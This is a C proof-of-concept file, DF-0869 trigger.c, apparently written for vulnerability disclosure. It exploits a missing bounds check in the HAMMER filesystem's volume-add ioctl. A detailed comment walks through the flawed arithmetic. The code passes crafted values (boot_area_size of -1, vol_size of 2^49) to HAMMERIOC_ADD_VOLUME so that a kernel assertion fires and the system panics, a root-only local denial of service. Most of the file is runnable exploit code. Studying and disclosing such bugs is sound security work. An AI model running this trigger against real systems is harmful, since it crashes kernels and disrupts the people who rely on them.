DF-0869 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * trigger.c - DF-0869 PoC trigger. * * Demonstrates missing bounds validation in hammer_format_volume_header * (sys/vfs/hammer/hammer_volume.c:617-671) by issuing HAMMERIOC_ADD_VOLUME * with attacker-controlled int64 fields that produce an out-of-range * vol_buf_size. * * The vulnerable path: * * hammer_format_volume_header(hmp, ioc, ondisk, vol_no) * vol_alloc = root_ondisk->vol_bot_beg; // ~256 KiB * vol_alloc += ioc->boot_area_size; // ATTACKER int64, unchecked * vol_alloc += ioc->memory_log_size; // ATTACKER int64, unchecked * ondisk->vol_buf_beg = vol_alloc; * ondisk->vol_buf_end = ioc->vol_size & ~HAMMER_BUFMASK; // unchecked * if (HAMMER_VOL_BUF_SIZE(ondisk) < 0) // ONLY check: signed < 0 * return EFTYPE; * return 0; * * With boot_area_size = -1 and vol_size = 2^49 (~512 TiB), vol_buf_beg * becomes (256K - 1) and vol_buf_end becomes 2^49, so vol_buf_size = * (2^49 - 0x3FFFF) is a huge POSITIVE value that passes the only check. * * hammer_ioc_volume_add then calls hammer_install_volume (succeeds - it * doesn't recheck the bounds either), then hammer_format_freemap at line * 407: * * vol_buf_size = HAMMER_VOL_BUF_SIZE(ondisk); * KKASSERT((vol_buf_size & ~HAMMER_OFF_SHORT_MASK) == 0); * * HAMMER_OFF_SHORT_MASK = 0x000FFFFFFFFFFFFF, so the KKASSERT fires when * vol_buf_size has any of bits 48..63 set -- exactly our 2^49. On the * default X86_64_GENERIC kernel (options INVARIANTS) KKASSERT panics the * kernel. * * Privilege model: HAMMERIOC_ADD_VOLUME is gated behind * caps_priv_check(SYSCAP_NOVFS_IOCTL) at hammer_ioctl.c:197, so this is * a root-only path (CVSS PR:H). Realistic threat: a HAMMER admin issuing * a hand-crafted ADD_VOLUME (or a buggy/compromised userspace tool) can * panic the kernel => local DoS via root-only ioctl. * * Build: cc -o trigger trigger.c * Run: ./trigger <mounted-hammer-mp> <path-to-new-volume-file> */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <vfs/hammer/hammer_ioctl.h> int main(int argc, char **argv) { const char *mp, *newvol; if (argc != 3) { fprintf(stderr, "usage: %s <hammer-mountpoint> <new-volume-path>\n", argv[0]); return 2; } mp = argv[1]; newvol = argv[2]; int fd = open(mp, O_RDONLY); if (fd < 0) { perror("open mountpoint"); return 1; } /* * Crafted values: * boot_area_size = -1 (makes vol_buf_beg = root.vol_bot_beg - 1) * memory_log_size = 0 * vol_size = 1 << 49 (huge "device size", never validated * against the real backing file nor * against any upper bound) * * vol_buf_size = (1<<49) - (root.vol_bot_beg - 1) ~= 1<<49, positive, * has bit 48 set -> KKASSERT in hammer_format_freemap trips. */ struct hammer_ioc_volume v; memset(&v, 0, sizeof v); strlcpy(v.device_name, newvol, sizeof v.device_name); v.vol_no = 0; /* kernel picks free_vol_no, this is ignored */ v.flag = 0; v.boot_area_size = -1; v.memory_log_size = 0; v.vol_size = (int64_t)1 << 49; /* 2^49 = 562949953421312 bytes */ printf("[*] issuing HAMMERIOC_ADD_VOLUME on '%s'\n", newvol); printf("[*] boot_area_size = -1\n"); printf("[*] memory_log_size = 0\n"); printf("[*] vol_size = %lld (~512 TiB, has bit 48 set)\n", (long long)v.vol_size); fflush(stdout); int rc = ioctl(fd, HAMMERIOC_ADD_VOLUME, &v); /* * On the unpatched GENERIC kernel (#0, INVARIANTS on) we never reach * here: hammer_format_freemap KKASSERT panics the kernel first; the * guest dies mid-syscall and this ssh session drops. */ printf("[*] ioctl returned %d (errno=%d '%s'); head.flags=0x%x " "head.error=%d\n", rc, rc < 0 ? errno : 0, rc < 0 ? strerror(errno) : "ok", v.head.flags, v.head.error); close(fd); return 0; } |